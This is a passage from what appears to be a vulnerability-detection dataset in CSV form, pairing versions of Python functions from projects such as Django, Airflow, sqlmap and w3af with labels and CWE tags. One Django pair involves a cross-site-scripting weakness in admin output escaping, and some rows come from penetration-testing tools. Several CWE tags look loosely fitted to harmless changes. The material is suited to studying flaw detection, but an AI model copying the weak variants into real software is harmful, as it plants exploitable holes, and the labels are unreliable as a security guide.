                    session = kwargs.get(""session"", args[session_args_idx])
                except IndexError:
                    session = None

                with sentry_sdk.push_scope():
                    try:
                        # Is a LocalTaskJob get the task instance
                        if hasattr(_self, ""task_instance""):
                            task_instance = _self.task_instance
                        else:
                            task_instance = _self

                        self.add_tagging(task_instance)
                        self.add_breadcrumbs(task_instance, session=session)
                        return func(_self, *args, **kwargs)
                    except Exception as e:
                        sentry_sdk.capture_exception(e)
                        raise

            return wrapper",CWE-Unknown,apache/airflow,58a00260d29da673329141ae7992dea22737b9dd,"def enrich_errors(self, func):
            """"""
            Decorate errors.

            Wrap TaskInstance._run_raw_task and LocalTaskJob._run_mini_scheduler_on_child_tasks
            to support task specific tags and breadcrumbs.
            """"""
            session_args_idx = find_session_idx(func)

            @wraps(func)
            def wrapper(_self, *args, **kwargs):
                # Wrapping the _run_raw_task function with push_scope to contain
                # tags and breadcrumbs to a specific Task Instance

                try:
                    session = kwargs.get(""session"", args[session_args_idx])
                except IndexError:
                    session = None

                with sentry_sdk.push_scope():
                    try:
                        # Is a LocalTaskJob get the task instance
                        if hasattr(_self, ""task_instance""):
                            task_instance = _self.task_instance
                        else:
                            task_instance = _self

                        self.add_tagging(task_instance)
                        self.add_breadcrumbs(task_instance, session=session)
                        return func(_self, *args, **kwargs)
                    except Exception as e:
                        sentry_sdk.capture_exception(e)
                        raise

            return wrapper"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def items_for_result(cl, result):
    first = True
    pk = cl.lookup_opts.pk.attname
    for field_name in cl.lookup_opts.admin.list_display:
        row_class = ''
        try:
            f = cl.lookup_opts.get_field(field_name)
        except models.FieldDoesNotExist:
            # For non-field list_display values, the value is either a method
            # or a property.
            try:
                attr = getattr(result, field_name)
                allow_tags = getattr(attr, 'allow_tags', False)
                boolean = getattr(attr, 'boolean', False)
                if callable(attr):
                    attr = attr()
                if boolean:
                    allow_tags = True
                    result_repr = _boolean_icon(attr)
                else:
                    result_repr = smart_unicode(attr)
            except (AttributeError, ObjectDoesNotExist):
                result_repr = EMPTY_CHANGELIST_VALUE
            else:
                # Strip HTML tags in the resulting text, except if the
                # function has an ""allow_tags"" attribute set to True.
                if not allow_tags:
                    result_repr = escape(result_repr)
                else:
                    result_repr = mark_safe(result_repr)
        else:
            field_val = getattr(result, f.attname)

            if isinstance(f.rel, models.ManyToOneRel):
                if field_val is not None:
                    result_repr = escape(getattr(result, f.name))
                else:
                    result_repr = EMPTY_CHANGELIST_VALUE
            # Dates and times are special: They're formatted in a certain way.
            elif isinstance(f, models.DateField) or isinstance(f, models.TimeField):
                if field_val:
                    (date_format, datetime_format, time_format) = get_date_formats()
                    if isinstance(f, models.DateTimeField):
                        result_repr = capfirst(dateformat.format(field_val, datetime_format))
                    elif isinstance(f, models.TimeField):
                        result_repr = capfirst(dateformat.time_format(field_val, time_format))
                    else:
                        result_repr = capfirst(dateformat.format(field_val, date_format))
                else:
                    result_repr = EMPTY_CHANGELIST_VALUE
                row_class = ' class=""nowrap""'
            # Booleans are special: We use images.
            elif isinstance(f, models.BooleanField) or isinstance(f, models.NullBooleanField):
                result_repr = _boolean_icon(field_val)
            # DecimalFields are special: Zero-pad the decimals.
            elif isinstance(f, models.DecimalField):
                if field_val is not None:
                    result_repr = ('%%.%sf' % f.decimal_places) % field_val
                else:
                    result_repr = EMPTY_CHANGELIST_VALUE
            # Fields with choices are special: Use the representation
            # of the choice.
            elif f.choices:
                result_repr = dict(f.choices).get(field_val, EMPTY_CHANGELIST_VALUE)
            else:
                result_repr = escape(field_val)
        if force_unicode(result_repr) == '':
            result_repr = '&nbsp;'
        # If list_display_links not defined, add the link tag to the first field
        if (first and not cl.lookup_opts.admin.list_display_links) or field_name in cl.lookup_opts.admin.list_display_links:
            table_tag = {True:'th', False:'td'}[first]
            first = False
            url = cl.url_for_result(result)
            # Convert the pk to something that can be used in Javascript.
            # Problem cases are long ints (23L) and non-ASCII strings.
            result_id = repr(force_unicode(getattr(result, pk)))[1:]
            yield mark_safe(u'<%s%s><a href=""%s""%s>%s</a></%s>' % \
                (table_tag, row_class, url, (cl.is_popup and ' onclick=""opener.dismissRelatedLookupPopup(window, %s); return false;""' % result_id or ''), conditional_escape(result_repr), table_tag))
        else:
            yield mark_safe(u'<td%s>%s</td>' % (row_class, conditional_escape(result_repr)))",CWE-79,django/django,b1d40295bc9a176973903a242a35caeb987b4bfc,"def items_for_result(cl, result):
    first = True
    pk = cl.lookup_opts.pk.attname
    for field_name in cl.lookup_opts.admin.list_display:
        row_class = ''
        try:
            f = cl.lookup_opts.get_field(field_name)
        except models.FieldDoesNotExist:
            # For non-field list_display values, the value is either a method
            # or a property.
            try:
                attr = getattr(result, field_name)
                allow_tags = getattr(attr, 'allow_tags', False)
                boolean = getattr(attr, 'boolean', False)
                if callable(attr):
                    attr = attr()
                if boolean:
                    allow_tags = True
                    result_repr = _boolean_icon(attr)
                else:
                    result_repr = smart_unicode(attr)
            except (AttributeError, ObjectDoesNotExist):
                result_repr = EMPTY_CHANGELIST_VALUE
            else:
                # Strip HTML tags in the resulting text, except if the
                # function has an ""allow_tags"" attribute set to True.
                if not allow_tags:
                    result_repr = escape(result_repr)
        else:
            field_val = getattr(result, f.attname)

            if isinstance(f.rel, models.ManyToOneRel):
                if field_val is not None:
                    result_repr = escape(getattr(result, f.name))
                else:
                    result_repr = EMPTY_CHANGELIST_VALUE
            # Dates and times are special: They're formatted in a certain way.
            elif isinstance(f, models.DateField) or isinstance(f, models.TimeField):
                if field_val:
                    (date_format, datetime_format, time_format) = get_date_formats()
                    if isinstance(f, models.DateTimeField):
                        result_repr = capfirst(dateformat.format(field_val, datetime_format))
                    elif isinstance(f, models.TimeField):
                        result_repr = capfirst(dateformat.time_format(field_val, time_format))
                    else:
                        result_repr = capfirst(dateformat.format(field_val, date_format))
                else:
                    result_repr = EMPTY_CHANGELIST_VALUE
                row_class = ' class=""nowrap""'
            # Booleans are special: We use images.
            elif isinstance(f, models.BooleanField) or isinstance(f, models.NullBooleanField):
                result_repr = _boolean_icon(field_val)
            # DecimalFields are special: Zero-pad the decimals.
            elif isinstance(f, models.DecimalField):
                if field_val is not None:
                    result_repr = ('%%.%sf' % f.decimal_places) % field_val
                else:
                    result_repr = EMPTY_CHANGELIST_VALUE
            # Fields with choices are special: Use the representation
            # of the choice.
            elif f.choices:
                result_repr = dict(f.choices).get(field_val, EMPTY_CHANGELIST_VALUE)
            else:
                result_repr = escape(field_val)
        if force_unicode(result_repr) == '':
            result_repr = '&nbsp;'
        # If list_display_links not defined, add the link tag to the first field
        if (first and not cl.lookup_opts.admin.list_display_links) or field_name in cl.lookup_opts.admin.list_display_links:
            table_tag = {True:'th', False:'td'}[first]
            first = False
            url = cl.url_for_result(result)
            # Convert the pk to something that can be used in Javascript.
            # Problem cases are long ints (23L) and non-ASCII strings.
            result_id = repr(force_unicode(getattr(result, pk)))[1:]
            yield mark_safe(u'<%s%s><a href=""%s""%s>%s</a></%s>' % \
                (table_tag, row_class, url, (cl.is_popup and ' onclick=""opener.dismissRelatedLookupPopup(window, %s); return false;""' % result_id or ''), conditional_escape(result_repr), table_tag))
        else:
            yield mark_safe(u'<td%s>%s</td>' % (row_class, conditional_escape(result_repr)))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/discovery/wordnet.py,0,"def discover(self, fuzzableRequest ):
        '''
        @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                                    (among other things) the URL to test.
        '''
        self._fuzzableRequests = []
        
        self._original_response = self._uri_opener.send_mutant(fuzzableRequest)        
        
        for mutant in self._generate_mutants( fuzzableRequest ):
            #   Send the requests using threads:
            self._run_async(meth=self._check_existance, args=(mutant,))
            
        # Wait for all threads to finish
        self._join()
        return self._fuzzableRequests",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def discover(self, fuzzableRequest ):
        '''
        @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                                    (among other things) the URL to test.
        '''
        self._fuzzableRequests = []
        
        self._original_response = self._sendMutant( fuzzableRequest, analyze=False )
        
        for mutant in self._generate_mutants( fuzzableRequest ):
            #   Send the requests using threads:
            self._run_async(meth=self._check_existance, args=(mutant,))
            
        # Wait for all threads to finish
        self._join()
        return self._fuzzableRequests"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/proc_maps.py,0,"def _get_vnode_for_map(self, map):
        hdr = map.dereference()

        # TODO 
        if hdr.is_sub_map.v() == 1:
            return ""sub_map"" 

        # find_vnode_object
        vnode_object = hdr.object.vm_object 

        while vnode_object.shadow.dereference() != None:
            vnode_object = vnode_object.shadow.dereference()

        ops = vnode_object.pager.mo_pager_ops.v()

        if ops == self.addr_space.profile.get_symbol(""_vnode_pager_ops""):
            vpager = obj.Object(""vnode_pager"", offset = vnode_object.pager, vm = self.addr_space)
            ret = vpager.vnode_handle
        else:
            ret = None

        return ret",,volatilityfoundation/volatility,b796169f988bc642d0eb65d8370ef8576377ca44,"def _get_vnode_for_map(self, map):
        hdr = map.dereference()

        # TODO 
        if hdr.is_sub_map.v() == 1:
            return ""sub_map"" 

        # find_vnode_object
        object = hdr.object.vm_object 

        while object.shadow.dereference() != None:
            object = object.shadow.dereference()

        ops = object.pager.mo_pager_ops.v()

        if ops == self.addr_space.profile.get_symbol(""_vnode_pager_ops""):
            vpager = obj.Object(""vnode_pager"", offset = object.pager, vm = self.addr_space)
            
            ret = vpager.vnode_handle
        else:
            ret = None

        return ret"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib/yaml/emitter.py,0,"def write_single_quoted(self, text, split=True):
        self.write_indicator(u'\'', True)
        spaces = False
        breaks = False
        start = end = 0
        while end <= len(text):
            ch = None
            if end < len(text):
                ch = text[end]
            if spaces:
                if ch is None or ch != u' ':
                    if start+1 == end and self.column > self.best_width and split   \
                            and start != 0 and end != len(text):
                        self.write_indent()
                    else:
                        data = text[start:end]
                        self.column += len(data)
                        if self.encoding:
                            data = data.encode(self.encoding)
                        self.stream.write(data)
                    start = end
            elif breaks:
                if ch is None or ch not in u'\n\x85\u2028\u2029':
                    if text[start] == u'\n':
                        self.write_line_break()
                    for br in text[start:end]:
                        if br == u'\n':
                            self.write_line_break()
                        else:
                            self.write_line_break(br)
                    self.write_indent()
                    start = end
            else:
                if ch is None or ch in u' \n\x85\u2028\u2029' or ch == u'\'':
                    if start < end:
                        data = text[start:end]
                        self.column += len(data)
                        if self.encoding:
                            data = data.encode(self.encoding)
                        self.stream.write(data)
                        start = end
            if ch == u'\'':
                data = u'\'\''
                self.column += 2
                if self.encoding:
                    data = data.encode(self.encoding)
                self.stream.write(data)
                start = end + 1
            if ch is not None:
                spaces = (ch == u' ')
                breaks = (ch in u'\n\x85\u2028\u2029')
            end += 1
        self.write_indicator(u'\'', False)",,yaml/pyyaml,27de2ba1fcd503b0949cae649ac4f9fc547a1c35,"def write_single_quoted(self, text, split=True):
        self.write_indicator(u'\'', True)
        spaces = False
        breaks = False
        start = end = 0
        while end <= len(text):
            ch = None
            if end < len(text):
                ch = text[end]
            if spaces:
                if ch is None or ch != u' ':
                    if start+1 == end and self.column > self.best_width and split   \
                            and start != 0 and end != len(text):
                        self.write_indent()
                    else:
                        data = text[start:end]
                        self.column += len(data)
                        if self.encoding:
                            data = data.encode(self.encoding)
                        self.stream.write(data)
                    start = end
            elif breaks:
                if ch is None or ch not in u'\n\x85\u2028\u2029':
                    if text[start] == u'\n':
                        self.write_line_break()
                    for br in text[start:end]:
                        if br == u'\n':
                            self.write_line_break()
                        else:
                            self.write_line_break(br)
                    self.write_indent()
                    start = end
            else:
                if ch is None or ch in u' \n\x85\u2028\u2029' or ch == u'\'':
                    if start < end:
                        data = text[start:end]
                        self.column += len(data)
                        if self.encoding:
                            data = data.encode(self.encoding)
                        self.stream.write(data)
                        start = end
                    if ch == u'\'':
                        data = u'\'\''
                        self.column += 2
                        if self.encoding:
                            data = data.encode(self.encoding)
                        self.stream.write(data)
                        start = end + 1
            if ch is not None:
                spaces = (ch == u' ')
                breaks = (ch in u'\n\x85\u2028\u2029')
            end += 1
        self.write_indicator(u'\'', False)"
,UNKNOWN,UNKNOWN,tests/store/_unity_catalog/model_registry/test_unity_catalog_rest_store.py,1,"def test_search_prompts_with_results_uc(store, monkeypatch):
    # Create mock protobuf objects
    from mlflow.protos.unity_catalog_prompt_messages_pb2 import (
        Prompt as ProtoPrompt,
    )
    from mlflow.protos.unity_catalog_prompt_messages_pb2 import (
        PromptTag as ProtoPromptTag,
    )
    from mlflow.protos.unity_catalog_prompt_messages_pb2 import (
        SearchPromptsResponse,
    )

    # Create mock prompt data
    mock_prompt_1 = ProtoPrompt(
        name=""test_prompt_1"",
        description=""First test prompt"",
        tags=[ProtoPromptTag(key=""env"", value=""dev"")],
    )
    mock_prompt_2 = ProtoPrompt(name=""test_prompt_2"", description=""Second test prompt"")

    # Create mock response
    mock_response = SearchPromptsResponse(
        prompts=[mock_prompt_1, mock_prompt_2], next_page_token=""next_token_123""
    )

    # Expected conversion results
    expected_prompts = [
        PromptInfo(""test_prompt_1"", ""First test prompt"", tags={""env"": ""dev""}),
        PromptInfo(""test_prompt_2"", ""Second test prompt"", tags={}),
    ]

    with (
        mock.patch.object(store, ""_call_endpoint"", return_value=mock_response),
        mock.patch(
            ""mlflow.store._unity_catalog.registry.utils.proto_info_to_mlflow_prompt_info"",
            side_effect=expected_prompts,
        ) as mock_converter,
    ):
        # Call search_prompts
        result = store.search_prompts(max_results=10)

        # Verify conversion function was called twice (once for each result)
        assert mock_converter.call_count == 2

        # Verify the results
        assert len(result) == 2
        assert result.token == ""next_token_123""
        assert result[0].name == ""test_prompt_1""
        assert result[1].name == ""test_prompt_2""",CWE-703,mlflow/mlflow,3a9ca00e5a07bd4c4745cc77ef56ee6373ae2ad4,"def test_search_prompts_with_results_uc(store, monkeypatch):
    # Create mock protobuf objects
    from mlflow.protos.unity_catalog_prompt_messages_pb2 import (
        PromptInfo as ProtoPromptInfo,
    )
    from mlflow.protos.unity_catalog_prompt_messages_pb2 import (
        PromptTag as ProtoPromptTag,
    )
    from mlflow.protos.unity_catalog_prompt_messages_pb2 import (
        SearchPromptsResponse,
    )

    # Create mock prompt data
    mock_prompt_1 = ProtoPromptInfo(
        name=""test_prompt_1"",
        description=""First test prompt"",
        tags=[ProtoPromptTag(key=""env"", value=""dev"")],
    )
    mock_prompt_2 = ProtoPromptInfo(name=""test_prompt_2"", description=""Second test prompt"")

    # Create mock response
    mock_response = SearchPromptsResponse(
        prompts=[mock_prompt_1, mock_prompt_2], next_page_token=""next_token_123""
    )

    # Expected conversion results
    expected_prompts = [
        PromptInfo(""test_prompt_1"", ""First test prompt"", tags={""env"": ""dev""}),
        PromptInfo(""test_prompt_2"", ""Second test prompt"", tags={}),
    ]

    with (
        mock.patch.object(store, ""_call_endpoint"", return_value=mock_response),
        mock.patch(
            ""mlflow.store._unity_catalog.registry.utils.proto_info_to_mlflow_prompt_info"",
            side_effect=expected_prompts,
        ) as mock_converter,
    ):
        # Call search_prompts
        result = store.search_prompts(max_results=10)

        # Verify conversion function was called twice (once for each result)
        assert mock_converter.call_count == 2

        # Verify the results
        assert len(result) == 2
        assert result.token == ""next_token_123""
        assert result[0].name == ""test_prompt_1""
        assert result[1].name == ""test_prompt_2"""
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/chrome/devtools/custom_websocket.py,0,"def __init__(self,
                 sslopt=None,
                 sockopt=None,
                 fire_cont_frame=False,
                 enable_multithread=False,
                 skip_utf8_validation=False):
        super(CustomWebSocket, self).__init__(sslopt=sslopt,
                                              sockopt=sockopt,
                                              get_mask_key=get_mask_key_zero,
                                              fire_cont_frame=fire_cont_frame,
                                              enable_multithread=enable_multithread,
                                              #
                                              # UTF-8 validation in the websocket library
                                              # is a very CPU-intensive process which, in
                                              # some cases can take a LONG time
                                              #
                                              # Disabling this in order to prevent timeouts
                                              # when reading from the websocket
                                              #
                                              skip_utf8_validation=True)

        self.frame_buffer = CustomFrameBuffer(self._recv, skip_utf8_validation)",,andresriancho/w3af,ae010c8e3bde5dbdcd9c412148400a001eaeded5,"def __init__(self,
                 sslopt=None,
                 sockopt=None,
                 fire_cont_frame=False,
                 enable_multithread=False,
                 skip_utf8_validation=False):
        super(CustomWebSocket, self).__init__(sslopt=sslopt,
                                              sockopt=sockopt,
                                              get_mask_key=get_mask_key_zero,
                                              fire_cont_frame=fire_cont_frame,
                                              enable_multithread=enable_multithread,
                                              skip_utf8_validation=skip_utf8_validation)

        self.frame_buffer = CustomFrameBuffer(self._recv, skip_utf8_validation)"
,UNKNOWN,UNKNOWN,salt/modules/win_service.py,1,"def create(name,
           binpath,
           DisplayName=None,
           type='own',
           start='demand',
           error='normal',
           group=None,
           tag='no',
           depend=None,
           obj=None,
           password=None,
           **kwargs):
    '''
    Create the named service.

    .. versionadded:: Beryllium

    Required parameters:
    name: Specifies the service name returned by the getkeyname operation
    binpath: Specifies the path to the service binary file, backslashes must be escaped
        - eg: C:\\path\\to\\binary.exe

    Optional parameters:
    DisplayName: the name to be displayed in the service manager
    type: Specifies the service type, default is own
      - own (default): Service runs in its own process
      - share: Service runs as a shared process
      - interact: Service can interact with the desktop
      - kernel: Service is a driver
      - filesys: Service is a system driver
      - rec: Service is a file system-recognized driver that identifies filesystems on the computer
    start: Specifies the start type for the service
      - boot: Device driver that is loaded by the boot loader
      - system: Device driver that is started during kernel initialization
      - auto: Service that automatically starts
      - demand (default): Service must be started manually
      - disabled: Service cannot be started
      - delayed-auto: Service starts automatically after other auto-services start
    error: Specifies the severity of the error
      - normal (default): Error is logged and a message box is displayed
      - severe: Error is logged and computer attempts a restart with last known good configuration
      - critical: Error is logged, computer attempts to restart with last known good configuration, system halts on failure
      - ignore: Error is logged and startup continues, no notification is given to the user
    group: Specifies the name of the group of which this service is a member
    tag: Specifies whether or not to obtain a TagID from the CreateService call. For boot-start and system-start drivers
      - yes/no
    depend: Specifies the names of services or groups that myust start before this service. The names are seperated by forward slashes.
    obj: Specifies th ename of an account in which a service will run. Default is LocalSystem
    password: Specifies a password. Required if other than LocalSystem account is used.

    CLI Example:

    .. code-block:: bash

        salt '*' service.create <service name> <path to exe> display_name='<display name>'
    '''

    cmd = [
           'sc',
           'create',
           name,
           'binpath=', binpath,
           'type=', type,
           'start=', start,
           'error=', error,
           ]
    if DisplayName is not None:
        cmd.extend(['DisplayName=', DisplayName])
    if group is not None:
        cmd.extend(['group=', group])
    if depend is not None:
        cmd.extend(['depend=', depend])
    if obj is not None:
        cmd.extend(['obj=', obj])
    if password is not None:
        cmd.extend(['password=', password])

    return not __salt__['cmd.retcode'](cmd, python_shell=False)",CWE-259,saltstack/salt,0d0eaa90d357352ef770245099a19d6cb168146c,"def create(name,
           binpath,
           DisplayName=None,
           type='own',
           start='demand',
           error='normal',
           group=None,
           tag='no',
           depend=None,
           obj=None,
           password=None,
           **kwargs):
    '''
    Create the named service

    Required parameters:
    name: Specifies the service name returned by the getkeyname operation
    binpath: Specifies the path to the service binary file, backslashes must be escaped
        - eg: C:\\path\\to\\binary.exe

    Optional parameters:
    DisplayName: the name to be displayed in the service manager
    type: Specifies the service type, default is own
      - own (default): Service runs in its own process
      - share: Service runs as a shared process
      - interact: Service can interact with the desktop
      - kernel: Service is a driver
      - filesys: Service is a system driver
      - rec: Service is a file system-recognized driver that identifies filesystems on the computer
    start: Specifies the start type for the service
      - boot: Device driver that is loaded by the boot loader
      - system: Device driver that is started during kernel initialization
      - auto: Service that automatically starts
      - demand (default): Service must be started manually
      - disabled: Service cannot be started
      - delayed-auto: Service starts automatically after other auto-services start
    error: Specifies the severity of the error
      - normal (default): Error is logged and a message box is displayed
      - severe: Error is logged and computer attempts a restart with last known good configuration
      - critical: Error is logged, computer attempts to restart with last known good configuration, system halts on failure
      - ignore: Error is logged and startup continues, no notification is given to the user
    group: Specifies the name of the group of which this service is a member
    tag: Specifies whether or not to obtain a TagID from the CreateService call. For boot-start and system-start drivers
      - yes/no
    depend: Specifies the names of services or groups that myust start before this service. The names are seperated by forward slashes.
    obj: Specifies th ename of an account in which a service will run. Default is LocalSystem
    password: Specifies a password. Required if other than LocalSystem account is used.

    CLI Example:

    .. code-block:: bash

        salt '*' service.create <service name> <path to exe> display_name='<display name>'
    '''

    cmd = [
           'sc',
           'create',
           name,
           'binpath=', binpath,
           'type=', type,
           'start=', start,
           'error=', error,
           ]
    if DisplayName is not None:
        cmd.extend(['DisplayName=', DisplayName])
    if group is not None:
        cmd.extend(['group=', group])
    if depend is not None:
        cmd.extend(['depend=', depend])
    if obj is not None:
        cmd.extend(['obj=', obj])
    if password is not None:
        cmd.extend(['password=', password])

    return not __salt__['cmd.retcode'](cmd, python_shell=False)"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/definitions/test_xcom_arg.py,1,"def test_xcom_convert_to_kwargs_fails_task(run_ti: RunTI, mock_supervisor_comms, captured_logs):
    results = set()

    with DAG(""test"") as dag:

        @dag.task()
        def push():
            return [""a"", ""b"", ""c""]

        @dag.task()
        def pull(value):
            results.add(value)

        def c_to_none(v):
            if v == ""c"":
                return None
            return {""value"": v}

        pull.expand_kwargs(push().map(c_to_none))

    # Mock xcom result from push task
    mock_supervisor_comms.get_message.return_value = XComResult(key=""return_value"", value=[""a"", ""b"", ""c""])

    # The first two ""pull"" tis should succeed.
    for map_index in range(2):
        assert run_ti(dag, ""pull"", map_index) == TaskInstanceState.SUCCESS

    # Clear captured logs from the above
    captured_logs[:] = []

    # But the third one fails because the map() result cannot be used as kwargs.
    assert run_ti(dag, ""pull"", 2) == TaskInstanceState.FAILED

    assert captured_logs == unordered(
        [
            {
                ""event"": ""Task failed with exception"",
                ""level"": ""error"",
                ""timestamp"": mock.ANY,
                ""exception"": [
                    {
                        ""exc_notes"": [],
                        ""exc_type"": ""ValueError"",
                        ""exc_value"": ""expand_kwargs() expects a list[dict], not list[None]"",
                        ""frames"": mock.ANY,
                        ""is_cause"": False,
                        ""is_group"": False,
                        ""exceptions"": [],
                        ""syntax_error"": None,
                    }
                ],
            },
        ]
    )",CWE-703,apache/airflow,ae68a9d52a2ad0bb1823c2a7de3cad81e7e76ba1,"def test_xcom_convert_to_kwargs_fails_task(run_ti: RunTI, mock_supervisor_comms, captured_logs):
    results = set()

    with DAG(""test"") as dag:

        @dag.task()
        def push():
            return [""a"", ""b"", ""c""]

        @dag.task()
        def pull(value):
            results.add(value)

        def c_to_none(v):
            if v == ""c"":
                return None
            return {""value"": v}

        pull.expand_kwargs(push().map(c_to_none))

    # Mock xcom result from push task
    mock_supervisor_comms.get_message.return_value = XComResult(key=""return_value"", value=[""a"", ""b"", ""c""])

    # The first two ""pull"" tis should succeed.
    for map_index in range(2):
        assert run_ti(dag, ""pull"", map_index) == TaskInstanceState.SUCCESS

    # Clear captured logs from the above
    captured_logs[:] = []

    # But the third one fails because the map() result cannot be used as kwargs.
    assert run_ti(dag, ""pull"", 2) == TaskInstanceState.FAILED

    assert captured_logs == unordered(
        [
            {
                ""event"": ""Task failed with exception"",
                ""level"": ""error"",
                ""timestamp"": mock.ANY,
                ""exception"": [
                    {
                        ""exc_notes"": [],
                        ""exc_type"": ""ValueError"",
                        ""exc_value"": ""expand_kwargs() expects a list[dict], not list[None]"",
                        ""frames"": mock.ANY,
                        ""is_cause"": False,
                        ""syntax_error"": None,
                    }
                ],
            },
        ]
    )"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/service.py,1,"def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''

        self._supports_check_mode = True
        self._supports_async = True

        result = super(ActionModule, self).run(tmp, task_vars)
        del tmp  # tmp no longer has any effect

        module = self._task.args.get('use', 'auto').lower()

        if module == 'auto':
            try:
                if self._task.delegate_to:  # if we delegate, we should use delegated host's facts
                    module = self._templar.template(""{{hostvars['%s']['ansible_facts']['service_mgr']}}"" % self._task.delegate_to)
                else:
                    module = self._templar.template('{{ansible_facts.service_mgr}}')
            except:
                pass  # could not get it from template!

        try:
            if module == 'auto':
                facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
                self._display.debug(""Facts %s"" % facts)
                module = facts.get('ansible_facts', {}).get('ansible_service_mgr', 'auto')

            if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
                module = 'service'

            if module != 'auto':
                # run the 'service' module
                new_module_args = self._task.args.copy()
                if 'use' in new_module_args:
                    del new_module_args['use']

                # for backwards compatibility
                if 'state' in new_module_args and new_module_args['state'] == 'running':
                    self._display.deprecated(msg=""state=running is deprecated. Please use state=started"", version=""2.7"")
                    new_module_args['state'] = 'started'

                if module in self.UNUSED_PARAMS:
                    for unused in self.UNUSED_PARAMS[module]:
                        if unused in new_module_args:
                            del new_module_args[unused]
                            self._display.warning('Ignoring ""%s"" as it is not used in ""%s""' % (unused, module))

                self._display.vvvv(""Running %s"" % module)
                result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars, wrap_async=self._task.async_val))
            else:
                raise AnsibleActionFail('Could not detect which service manager to use. Try gathering facts or setting the ""use"" option.')

        except AnsibleAction as e:
            result.update(e.result)
        finally:
            if not self._task.async_val:
                self._remove_tmp_path(self._connection._shell.tempdir)

        return result",CWE-703,ansible/ansible,71f46d69d62a982833f0f7b7ca0dffbbde117f61,"def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''

        self._supports_check_mode = True
        self._supports_async = True

        result = super(ActionModule, self).run(tmp, task_vars)

        tmp = self._connection._shell.tempdir

        module = self._task.args.get('use', 'auto').lower()

        if module == 'auto':
            try:
                if self._task.delegate_to:  # if we delegate, we should use delegated host's facts
                    module = self._templar.template(""{{hostvars['%s']['ansible_facts']['service_mgr']}}"" % self._task.delegate_to)
                else:
                    module = self._templar.template('{{ansible_facts.service_mgr}}')
            except:
                pass  # could not get it from template!

        try:
            if module == 'auto':
                facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
                self._display.debug(""Facts %s"" % facts)
                module = facts.get('ansible_facts', {}).get('ansible_service_mgr', 'auto')

            if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
                module = 'service'

            if module != 'auto':
                # run the 'service' module
                new_module_args = self._task.args.copy()
                if 'use' in new_module_args:
                    del new_module_args['use']

                # for backwards compatibility
                if 'state' in new_module_args and new_module_args['state'] == 'running':
                    self._display.deprecated(msg=""state=running is deprecated. Please use state=started"", version=""2.7"")
                    new_module_args['state'] = 'started'

                if module in self.UNUSED_PARAMS:
                    for unused in self.UNUSED_PARAMS[module]:
                        if unused in new_module_args:
                            del new_module_args[unused]
                            self._display.warning('Ignoring ""%s"" as it is not used in ""%s""' % (unused, module))

                self._display.vvvv(""Running %s"" % module)
                result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars, wrap_async=self._task.async_val))
            else:
                raise AnsibleActionFail('Could not detect which service manager to use. Try gathering facts or setting the ""use"" option.')

        except AnsibleAction as e:
            result.update(e.result)
        finally:
            if not self._task.async_val:
                self._remove_tmp_path(tmp)

        return result"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/test.py,0,"def unionTest():
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """"""

    if conf.direct:
        return

    if kb.unionTest is not None:
        return kb.unionTest

    oldTechnique = kb.technique
    kb.technique = 3

    if conf.uChar == ""NULL"":
        technique = ""NULL bruteforcing""
    else:
        technique = ""char (%s) bruteforcing"" % conf.uChar

    infoMsg  = ""testing inband sql injection on parameter ""
    infoMsg += ""'%s' with %s technique"" % (kb.injection.parameter, technique)
    logger.info(infoMsg)

    comment = queries[kb.dbms].comment.query
    validPayload = __unionTestByCharBruteforce(comment)

    if validPayload:
        validPayload = agent.removePayloadDelimiters(validPayload, False)
        setUnion(char=conf.uChar)
        setUnion(comment=comment)
        setUnion(payload=validPayload)

    if kb.unionTest is not None:
        infoMsg = ""the target url is affected by an exploitable ""
        infoMsg += ""inband sql injection vulnerability ""
        infoMsg += ""on parameter '%s' with %d columns"" % (kb.injection.parameter, kb.unionCount)
        logger.info(infoMsg)
    else:
        infoMsg = ""the target url is not affected by an exploitable ""
        infoMsg += ""inband sql injection vulnerability ""
        infoMsg += ""on parameter '%s'"" % kb.injection.parameter
        logger.info(infoMsg)
        kb.technique = oldTechnique

    return kb.unionTest",,sqlmapproject/sqlmap,126a1479d8f7884fc9e29b693edc2114d28a7772,"def unionTest():
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """"""

    if conf.direct:
        return

    if kb.unionTest is not None:
        return kb.unionTest

    if conf.uChar == ""NULL"":
        technique = ""NULL bruteforcing""
    else:
        technique = ""char (%s) bruteforcing"" % conf.uChar

    infoMsg  = ""testing inband sql injection on parameter ""
    infoMsg += ""'%s' with %s technique"" % (kb.injection.parameter, technique)
    logger.info(infoMsg)

    comment = queries[kb.dbms].comment.query
    validPayload = __unionTestByCharBruteforce(comment)

    if validPayload:
        validPayload = agent.removePayloadDelimiters(validPayload, False)
        setUnion(char=conf.uChar)
        setUnion(comment=comment)
        setUnion(payload=validPayload)

    if kb.unionTest is not None:
        infoMsg = ""the target url is affected by an exploitable ""
        infoMsg += ""inband sql injection vulnerability ""
        infoMsg += ""on parameter '%s' with %d columns"" % (kb.injection.parameter, kb.unionCount)
        logger.info(infoMsg)
    else:
        infoMsg = ""the target url is not affected by an exploitable ""
        infoMsg += ""inband sql injection vulnerability ""
